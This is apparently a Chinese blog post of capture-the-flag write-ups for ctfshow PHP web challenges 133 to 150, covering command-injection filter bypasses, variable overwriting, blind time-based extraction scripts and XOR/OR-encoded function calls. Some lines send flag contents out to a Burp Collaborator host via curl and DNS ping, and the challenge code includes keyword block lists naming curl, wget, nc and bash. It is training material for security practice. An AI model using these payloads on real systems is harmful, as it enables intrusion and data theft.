image-20250219105046245

/?F=`$F`; curl http://p1r8uycu5lb8bkf8r5uyvpe5rwxmlb.burpcollaborator.net/`cat flag.php|grep ctfshow`

#因为 flag.php 内容是多行,所以结合 grep 找一下

image-20250219105145559

Web134(parse_str和extract 进行变量覆盖)

<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
}
@parse_str($_SERVER['QUERY_STRING']);

解析查询字符串并将变量提取到当前作用域中,@ 用于抑制可能的错误。

extract($_POST);

将 POST 请求中的参数提取为局部变量,这就可能会覆盖已有变量的值,例如 $key1 和 $key2。

?_POST[key1]=36d&_POST[key2]=36d
解析后,会将 $_POST['key1'] 和 $_POST['key2'] 赋值为 36d
由于 extract($_POST),这两个 POST 参数会被提取为局部变量 $key1 和 $key2;
这样就能使 $key1 和 $key2 都等于 36d,从而通过最后的条件检查。

Web135(Web133plus)

<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("师傅们居然破解了前面的,那就来一个加强版吧");
    }
}

这题比起web133多了很多过滤,但是有写入权限

?F=`$F`; nl f*>1.txt

然后去访问/1.txt

同时还可以用cp mv命令

?F=`$F`; cp flag.php 2.txt

?F=`$F`; mv flag.php 3.txt

也可以采用DNS外带的方法

/?F=`$F`;+ping `nl flag.php|awk 'NR==15'|tr -cd "[a-z]"/"[0-9]"`.http://dyfo9r3ph7xp83co5dlql3ym2d83ws.burpcollaborator.net

用 nl 命令为 flag.php 文件中的每一行添加行号;

用 awk 命令选择第 15、16 行(flag 在多少行是需要不断尝试出来的);

tr -cd 'a-zA-Z0-9-' 这个命令会删除所有不是字母、数字、减号的内容

Web136(exec()重定向读取文件)

<?php
error_reporting(0);
function check($x){
  if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
    die('too young too simple sometimes naive!');
  }
}
if(isset($_GET['c'])){
  $c=$_GET['c'];
  check($c);
  exec($c);
}
else{
  highlight_file(__FILE__);
}
?>
先补充一个知识点
(1)system()

用于执行外部程序;
输出命令的执行结果到标准输出设备,并返回命令的最后一行结果;
可以通过传递第二个参数来捕获命令执行后的返回状态码。

(2)passthru()

用于执行外部程序;
将命令的原始输出直接发送到标准输出设备(通常是浏览器);
不返回任何值,但可以通过第二个参数捕获命令执行后的返回状态码。

(3)exec()

用于执行外部程序;
不会输出结果到标准输出,而是将最后一行结果作为返回值返回;
如果传入第二个参数(数组),可以将所有输出保存到这个数组中;
第三个参数是一个整数变量,用于捕获命令执行后的返回状态码。

我们可以将结果重定向到某个文件,然后再访问对应的文件,但是>被过滤,我们可以使用tee命令来实现类似的功能,tee命令可以将命令的输出写入到标准输出的同时写入到一个文件中

?c=ls /|tee 1
?c=cat /f149_15_h3r3|tee 1

然后访问1下载文件读取flag

Web137(双冒号直接访问静态方法)

<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}
call_user_func($_POST['ctfshow']);
ctfshow=ctfshow::getFlag

方法二:

详见web138

Web138(strripos过滤冒号,call_user_func传数组)

<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}

if(strripos($_POST['ctfshow'], ":")>-1){
    die("private function");
}

call_user_func($_POST['ctfshow']);

strripos()函数用于查找字符串在另一字符串中最后一次出现的位置,这里相当于就是对提交内容过滤掉了冒号

对于call_user_func 我们还可以通过数组来传递

ctfshow[0]=ctfshow&ctfshow[1]=getFlag

调用strripos时,如果第一个参数是数组,php将会返回null,因为strripos期望第一个参数是字符串类型,所以不会触发die

call_user_func($_POST['ctfshow']);将解析为call_user_func(['ctfshow','getFlag']);,这将静态调用ctfshow::getFlag()方法。

Web139

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?> 

我们先用web136的方法去做 发现下载不了文件,带不出回显,可以盲注

我们要解决两个问题

  • 截取字符串
  • 判断命令执行结构

截取字符串可以用awk命令

判断命令执行结果可以用shell编程的if语句和sleep()函数

我们举个例子

awk逐行获取

image-20250222223458440

cut命令截取单独的字符

image-20250222223543362

shell语句,if语句控制输出,sleep语句控制相应时间

image-20250222223729570

所以poc为

import requests
import time
import string

str = string.ascii_letters + string.digits + "-" + "{" + "}" + "_" + "~"    # 构建一个包含所有字母和数字以及部分符号的字符串,符号可以自己加
result = ""          # 初始化一个空字符串,用于保存结果

#获取多少行
for i in range(1, 99):
    key = 0   #用于控制内层循环(j)的结束

    #不break的情况下,一行最多几个字符
    for j in range(1, 99):
        if key == 1:
            break
        for n in str:       #n就是一个一个的返回值
            payload = "if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i, j, n)   #{n}是占位符
            #print(payload)
            url = "http://13f0afe4-289b-4fcf-b2ed-6cf6cdf78635.challenge.ctf.show/?c=" + payload
            try:
                requests.get(url, timeout=(2.5, 2.5))   #设置超时时间为 2.5 秒,包括连接超时和读取超时,超时就是之前sleep 3了。

            # 如果请求发生异常,表示条件满足,将当前字符 n 添加到结果字符串中,并结束当前内层循环
            except:
                result = result + n
                print(result)
                break
            if n == '~':    #str的最后一位,“~”不常出现,用作结尾
                key = 1
    # 在每次获取一个字符后,将一个空格添加到结果字符串中,用于分隔结果的不同位置
    result += " "

读取/f149_15_h3r3

import requests
import time
import string

str = string.digits + string.ascii_lowercase + "-" + "_" + "~"# 题目过滤花括号,这里就不加了
result = ""
for j in range(1, 99):
    for n in str:
        payload = "if [ `cat /f149_15_h3r3 |cut -c {0}` == {1} ];then sleep 3;fi".format(j, n)
        # print(payload)
        url = "http://13f0afe4-289b-4fcf-b2ed-6cf6cdf78635.challenge.ctf.show/?c=" + payload
        try:
            requests.get(url, timeout=(2.5, 2.5))
        except:
            result = result + n
            print(result)
            break
        if n=="~":
            result = result + "花括号"

Web140

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
    $f1 = (String)$_POST['f1'];
    $f2 = (String)$_POST['f2'];
    if(preg_match('/^[a-z0-9]+$/', $f1)){
        if(preg_match('/^[a-z0-9]+$/', $f2)){
            $code = eval("return $f1($f2());");
            if(intval($code) == 'ctfshow'){
                echo file_get_contents("flag.php");
            }
        }
    }
}
intval()成功时,返回参数的integer值,失败时返回0。空的array返回0,非空的array返回1。字符串有可能返回0,取决于字符串最左侧的字符。
intval()不能用于object,否则会产生E_NOTICE错误并返回1。
<?php
$a=[];
if(intval($a)=="ctfshow"){
    echo 123;
} 
#返回123
#若a=[1] 不返回
#若a="111"或a="111a" 不返回
#若a="a111a" 返回123

所以需要$f1($f2());的返回值,或者是字母开头的字符串,或者是空数组,或者就是0,或者FLASE

payload1:

f1=system&f2=system
system(system())
system()必须包含参数,失败返回FLASE; system('FLASE'),空指令,失败返回FLASE。

payload2:

f1=usleep&f2=usleep
usleep(usleep())
usleep没有返回值。所以intval参数为空,失败返回0

payload3:

f1=getdate&f2=getdate
array getdate([ int $timestamp = time()] ):返回结果是array,参数必须是int型。所以getdate(getdate())---->getdate(array型)—>失败返回flase,intval为0。

Web141

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/^\W+$/', $v3)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

v1和v2要求是数字,v3我们就需要构造函数了。

这里先看一下三者组合到一起

php里数字可以和命令进行运算,也就是说v3里要执行的函数前后加上运算符即可。

1-phpinfo()-1结果为0,phpinfo()执行成功后返回true,1-1-1=-1

同理system()也可执行。

传递函数的方式可以参照web109的$v1($v2());,所以函数名也可以用如('phpinfo')来表示

接下来就可以构造字符了

这里把web71的rce_or的php代码修改一下

生成rce_or141.txt

<?php
$myfile = fopen("rce_or141.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
	// 	$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
	// 	if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
	// 				echo "";
    // }
        $preg='/^\w+$/';
        if(preg_match($preg,hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
            echo "";
        }
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);
from sys import *

def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("rce_or141.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)

fun="system"
cmd="ls"
print("function:"+action(fun))
print("cmd:"+action(cmd))

image-20250226212402842

?v1=1&v2=1&v3=%2b("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60")%2b

?v1=1&v2=1&v3=%2b("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%14%01%03%20%06%0c%02"|"%60%60%60%20%60%60%28")%2b

image-20250226213041079

Web142

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
    $v1 = (String)$_GET['v1'];
    if(is_numeric($v1)){
        $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
        sleep($d);
        echo file_get_contents("flag.php");
    }
}

v1是数字,v1与5个0x36d相乘的结果是sleep的时间,然后会输出flag的内容。0与任意数相乘为0,让v1为0即可即时得到结果。

?v1=0

Web143

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}    

相比Web141 我们会发现+-不能用了换成*|被过滤了,使用异或^

修改一下构造脚本就可以(改一下正则匹配和异或运算就可以)

<?php
$myfile = fopen("rce_or143.txt", "w");
$contents="";
for ($i=1; $i < 256; $i++) { 
	for ($j=1; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i';
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    	}
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)^urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);?>
from sys import *

def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("rce_or143.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"^\""+s2+"\")"
   return(output)

fun="system"
cmd="cat flag.php"
print("function:"+action(fun))
print("cmd:"+action(cmd))

system ls

image-20250226215041033

image-20250226215137074

?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%03%01%0b%01%06%0c%01%07%01%0f%08%0f"^"%60%60%7f%21%60%60%60%60%2f%7f%60%7f")*

Web144

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && check($v3)){
        if(preg_match('/^\W+$/', $v2)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

function check($str){
    return strlen($str)===1?true:false;
}

和web141一样的正则匹配,对应变量这次是v2。
v3有个check,长度要求为1。

输出的顺序是$v1$v3$v2,那么让v3是运算符就可以,这里用减号-

加号用%2b

payload把web141的修改一下就能用。

?v1=1&v2=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%14%01%03%20%06%0c%02"|"%60%60%60%20%60%60%28")&v3=-

Web145~Web146

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

这次异或^又被过滤了,可以用或|和取反~
和web143一样,修改一下构造脚本就可以。修改正则匹配条件,修改运算符。
加减乘数被过滤,也可以用或|

?v1=1&v3=|('%13%19%13%14%05%0d'|'%60%60%60%60%60%60')('%14%01%03%20%06%02'|'%60%60%60%20%60%28')|&v2=1

?v1=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)|&v2=1

Web147(匿名函数)

<?php
highlight_file(__FILE__);
if(isset($_POST['ctf'])){
    $ctfshow = $_POST['ctf'];
    if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
        $ctfshow('',$_GET['show']);
    }
}

正则匹配的绕过,只要ctfshow有一个不是数字、小写字母和下划线就可以绕过,执行if语句

php里默认命名空间是\,所有原生函数和类都在这个命名空间中。

调用一个函数时直接写函数名function_name(),相当于是相对路径调用;如写某一全局函数的完全限定名称\function_name()调用,则是写了一个绝对路径。

所以post的ctf可以通过加上\绕过匹配,找个不需要第一个参数的函数,可以用creat_funtion匿名函数。虽然该函数自PHP7.2起已经弃用,但是还是可以eval执行函数,只是需要把匿名部分闭合。

creat_function 创建了一个匿名函数,我们假设叫chenzi

funtion chenzi($args,...){
		$code
}

所以需要}闭合,闭合之后,if后面就多出来了一个}这就需要注释符号注释。

?show=}system("cat flag.php");/*
ctf=\create_funtion

Web148

<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
        die("error");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
    echo file_get_contents("flag.php");
}

还是利用Web141的思路

<?php
$myfile = fopen("rce_or148.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
	// 	$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
	// 	if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
	// 				echo "";
    // }
        $preg='/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/';
        if(preg_match($preg,hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
            echo "";
        }
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)^urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);
from sys import *

def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("C:\\Users\\26387\\Desktop\\wangannote\\rce_or148.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"^\""+s2+"\")"
   return(output)

fun="get_ctfshow_fl0g"
cmd=""
print("function:"+action(fun))
print("cmd:"+action(cmd))

这里的执行命令可以直接get_ctfshow_fl0g也可以system

?code=("%07%05%09%01%03%09%06%08%08%0f%08%01%06%0c%0b%07"^"%60%60%7d%5e%60%7d%60%7b%60%60%7f%5e%60%60%3b%60")();

?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%03%01%09%01%06%0c%01%07%01%0b%08%0b"^"%60%60%7d%21%60%60%60%60%2f%7b%60%7b");

Web149

<?php
error_reporting(0);
highlight_file(__FILE__);

$files = scandir('./'); 
foreach($files as $file) {
  if(is_file($file)){
    if ($file !== "index.php") {
      unlink($file);
    }
  }
}

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./'); 
foreach($files as $file) {
  if(is_file($file)){
    if ($file !== "index.php") {
      unlink($file);
    }
  }
}
  • $files = scandir('./');:使用 scandir 函数扫描当前目录,并将目录中的所有文件和文件夹的名称存储在数组 $files 中。
  • foreach($files as $file) { ... }:遍历 $files 数组中的每个元素。
  • if(is_file($file)){ ... }:检查当前元素是否为文件。
  • if ($file !== "index.php") { ... }:如果当前文件不是 index.php,则执行 unlink($file);,即删除该文件。

image-20250227181432889

接下来执行命令或者蚁剑连接

image-20250227181527014

Web150

<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){
        echo $this->secret;
    }

    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }

    function __autoload($class){
        if(isset($class)){
            $class();
    }
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE){
    include($ctf);
}

post的ctf只限制了不能用:,别的并没有被过滤。后面的include($ctf);可以进日志包含

因为key有过滤字符,所以我们可以通过UA传递木马

image-20250227200248322

Web150_Plus

<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){
        echo $this->secret;
    }

    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }

    function __autoload($class){
        if(isset($class)){
            $class();
    }
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
    include($ctf);
}
这个题一点点小坑__autoload()函数不是类里面的
__autoload加载未定义的类,即进行类函数判断时会调用这个函数

需要先构造__CTFSHOW__但是被过滤了,.可以绕过,构造了这个变量
..CTFSHOW..,需要进行传值,因为原先并没有,而extract函数可以覆盖原先的变量,就变为了$CTFSHOW=phpinfo,class变量就是__ctfshow__变量,class的值为phpinfo,最后就会执行phpinfo
原因是…CTFSHOW…解析变量成__CTFSHOW__然后进行了变量覆盖,因为CTFSHOW是类就会使用
?..CTFSHOW..=phpinfo
posted @ 2025-02-27 20:26  dynasty_chenzi  阅读(183)  评论(0)    收藏  举报
返回顶端